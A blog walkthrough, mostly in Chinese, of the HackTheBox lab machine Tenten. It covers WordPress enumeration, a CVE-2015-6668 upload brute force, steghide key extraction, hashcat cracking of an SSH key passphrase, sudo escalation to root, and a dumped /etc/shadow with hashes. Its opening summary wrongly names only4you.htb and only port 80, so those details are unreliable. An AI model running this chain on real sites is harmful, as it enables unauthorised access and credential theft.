HackTheBox - Machine - Tenten

Recommand: Let’s Sign Up HTB Academy to get Higher level of knowledge :P

非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P

Tenten

image

https://www.hackthebox.com/achievement/machine/463126/8

首先使用 nmap 工具對目標進行掃描,發現僅開啟了 80 端口,並找到了域名 only4you.htb。進一步訪問該網站後,注意到頁面底部有一個 “Jobs Listing” 的鏈接,點擊進入後發現不同職位的編號,透過改變數字可以獲取不同的職位信息,並利用 curl 和 grep 工具快速提取所有職位名稱。經過整理,得知該網站基於 WordPress 架構,因此使用 wpscan 對其進行漏洞掃描,發現一個名為 job-manager 的插件可能存在安全隱患。經過研究後,發現該插件會將上傳的簡歷存放在特定的 URL 路徑下,若攻擊者知道文件名稱,便可透過爆破年月和文件後綴名來下載該文件。為了獲取文件名稱,將之前收集到的職位名稱進行測試,最終成功下載到包含隱藏信息的圖片。經過分析,發現圖片中隱藏了 id_rsa 密鑰,使用 steghide 工具將其提取出來,但該密鑰設有密碼。透過 ssh2john 將密碼雜湊值導出後,使用 hashcat 破解密碼,最終獲得密碼。接著,雖然手中只有 id_rsa 密鑰而沒有用戶名,於是進一步在 WordPress 中查找,發現一位名為 takis 的用戶發表了文章,嘗試用該用戶名登錄,成功獲得 user.txt 文件。隨後,利用 sudo -l 命令檢查權限,發現能夠以 root 身份執行 bash,最終通過 sudo /bin/fuckin bash 獲得系統的完全控制權。

Nmap Tcp scan

使用nmap掃一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PORT   STATE SERVICE REASON         VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ec:f7:9d:38:0c:47:6f:f0:13:0f:b9:3b:d4:d6:e3:11 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD0ZxDYLkSx3+n8qOc+tpjAd+KZ8STcHdayXH5Vn7gRhiI6toUP53yvS4ysmU4uq/QkX+oAJabm3H2WdVDySKvLVitCstPErNjKmi3Zr4ROlJVyv25eR0Wuo42PqDRCB0DN5SBZsoylDM1FN53ZTdiTC4Da4NM/3zfXzJgBpo8NdRyCZJnTufOdR8x4RE/0QU6UZR1cJPKKNmS/7qzHtMDZx5MM0li07d77mDpUoMCxPGCWlH5VsgpKBUSvdzd5xjilN5/tU/uwgL4FLTcMJF6DPDORYxJWjGO8ThSm8nf+kgxdv1iSF3olv++tReoWjVZy/xrEIdgHTcPjGggldR9v
| 256 cc:fe:2d:e2:7f:ef:4d:41:ae:39:0e:91:ed:7e:9d:e7 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBERpTI9NMPamS6NaoLL5Y/nq+T19q1KR6GgtbsnmjCTtnGBKlaGI46uCPIYZwQ0MFDRg1hxq13rhLxl7JPIEjWU=
| 256 8d:b5:83:18:c0:7c:5d:3d:38:df:4b:e1:a4:82:8a:07 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIOrtl+D1cRlO2WrvblMacn5J5/rh+PTJmgxDwkBBfg7
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://tenten.htb/
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

看起來只是開了80端口。

Wordpress

從上面的結果中可以看到存在 only4you.htb​ 這個域名,所以可以簡單的掃一下子域名,結果什麽也沒有。

打開 only4you.htb​ 發現底部有 Jobs Listing​:

image

image

點擊後來到:

image

當我點擊 Pen Tester​ 的時候發現上面有一個數字:

image

如果我改成 7 會發現是 Register

image

Getting jobs name with curl

使用 curl + grep​ 可以快速得到名字:

1
$ curl -s http://tenten.htb/index.php/jobs/apply/1/  | grep entry-title

image

然後從1循環到50,把所有jobs的名字給dump下來:

1
$ seq 50 | xargs -I $ bash -c "echo $ ; curl -s http://tenten.htb/index.php/jobs/apply/$/  | grep entry-title"

image

看起來只有20個,重新循環,然後嘗試整理下jobs name:

1
$ seq 20 | xargs -I $ bash -c "curl -s http://tenten.htb/index.php/jobs/apply/$/  | grep entry-title"

image

最後得到:

1
2
3
4
5
6
7
8
9
Application
Auto Draft
HackerAccessGranted
Job Application
Jobs Listing
Pen Tester
Register
Sample Page
cube

Using wpscan to scan wordpress

由於沒有發現到什麽内容,再加上它是wordpress的框架,所以使用 wpscan​ 探測下:

1
$ wpscan --url http://tenten.htb/ --api-token xxxxxxxxxxxxx --enumerate ap --plugins-detection aggressive --plugins-version-detection aggressive -t 30

image

image

看到有一個插件是 job-manager​。

Bruteforce and Exploit with cve-2015-6668

搜索了一下如何 explot :

image

找到了這個:

簡單來説會把上傳的CV 放在 http://wpserver/wp-content/uploads/<year>/<Month>/<filename>.<ext>​。

如果攻擊者知道文件名字的話,通過爆破年月和文件的後綴名就能下載到文件,也就是說他需要名字。

所以可以把 jobs 的名字放進去跑跑看:

image

修改的内容:

1
2
3
4
FILE_NAMES   = ["Application", "Auto Draft", "HackerAccessGranted", "Job Application", "Jobs Listing", "Pen Tester", "Register", "Sample Page", "cube"] 

# 在下面加多了一行
print("[*] Brute forcing file: {}".format(file_name))

運行後得到:

image

1
2
http://tenten.htb/wp-content/uploads/2017/04/HackerAccessGranted.jpg
http://tenten.htb/wp-content/uploads/2017/04/cube.png

在第二個鏈接打開後出現 htb 的logo:

image

在第一個中出現:

image

Unzip ssh key from steghide

找了很久沒找到些什麽内容,所以很有可能是圖片裏面藏東西了,也就是圖片隱寫術,參考:https://book.hacktricks.xyz/crypto-and-stego/stego-tricks

image

使用 steghide​ 看了一下之後,果然圖片裏面藏了 id_rsa​:

1
$ steghide info  HackerAccessGranted.jpg

image

所以可以使用 steghide​ 把 id_rsa​ 提取出來:

1
2
$ steghide extract -sf HackerAccessGranted.jpg
$ cat id_rsa

image

但是這個 id_rsa​ 是有密碼的,使用 ssh2john​ 導出來后,就可以使用hashcat來破解:

1
$ ssh2john id_rsa

image

image

最後得到解密 id_rsa​ 的密碼:

1
superpassword

只有id_rsa​沒有用戶名,那就去 wordpress 裏面找,發現:

image

有一個 takis​ 的用戶發表了文章,嘗試使用該用戶登錄:

image

得到 user.txt​,所以順手sudo -l​ 看一下:

image

那其實和 bash 沒什麽區別,直接 sudo /bin/fuckin bash​ 就得到 root了。

Hashes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
root@tenten:/root# cat /etc/shadow
root:$6$8IbMdAWF$pqHZbiI1PZvhmbiioPWHdOwtrqzBLqEeuRqtYsD504Kb/Gy5rhsJQ8ATOQH7929c2Rp8PSTgRAGp4Y61F67PT.:17268:0:99999:7:::
daemon:*:17212:0:99999:7:::
bin:*:17212:0:99999:7:::
sys:*:17212:0:99999:7:::
sync:*:17212:0:99999:7:::
games:*:17212:0:99999:7:::
man:*:17212:0:99999:7:::
lp:*:17212:0:99999:7:::
mail:*:17212:0:99999:7:::
news:*:17212:0:99999:7:::
uucp:*:17212:0:99999:7:::
proxy:*:17212:0:99999:7:::
www-data:*:17212:0:99999:7:::
backup:*:17212:0:99999:7:::
list:*:17212:0:99999:7:::
irc:*:17212:0:99999:7:::
gnats:*:17212:0:99999:7:::
nobody:*:17212:0:99999:7:::
systemd-timesync:*:17212:0:99999:7:::
systemd-network:*:17212:0:99999:7:::
systemd-resolve:*:17212:0:99999:7:::
systemd-bus-proxy:*:17212:0:99999:7:::
syslog:*:17212:0:99999:7:::
_apt:*:17212:0:99999:7:::
lxd:*:17268:0:99999:7:::
mysql:!:17268:0:99999:7:::
messagebus:*:17268:0:99999:7:::
uuidd:*:17268:0:99999:7:::
dnsmasq:*:17268:0:99999:7:::
sshd:*:17268:0:99999:7:::
takis:$6$qZXZMoO1$smlXCfDp8kaUMRgm5AbWZEYACQ5iazhTe2l.fPxM0v1fr.3scQlwdcWfEYh2N0NlPMSuUAlFs2URcxSkxZosg/:17268:0:99999:7:::

Thanks

Respect: If my writeup really helps you, Give me a respect to let me know, Thankssssss!

感謝: 製作不易,如果我的writeup真的幫到你了, 給我一個respect,這樣我就會知道,感謝你!

Found Mistakes: If you find something wrong in the page, please feel free email to mane@manesec.com thanksss !!!

發現一些錯誤: 如果你在文章中發現一些錯誤,請發郵件到 mane@manesec.com ,麻煩了!!

Beginner Recommand: If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.

新手非常推薦: 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。

使用上面的鏈接加入 HTB 的 academy 完成 INTRODUCTION TO ACADEMY 這個模塊后可以解鎖更多的功能!

Join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)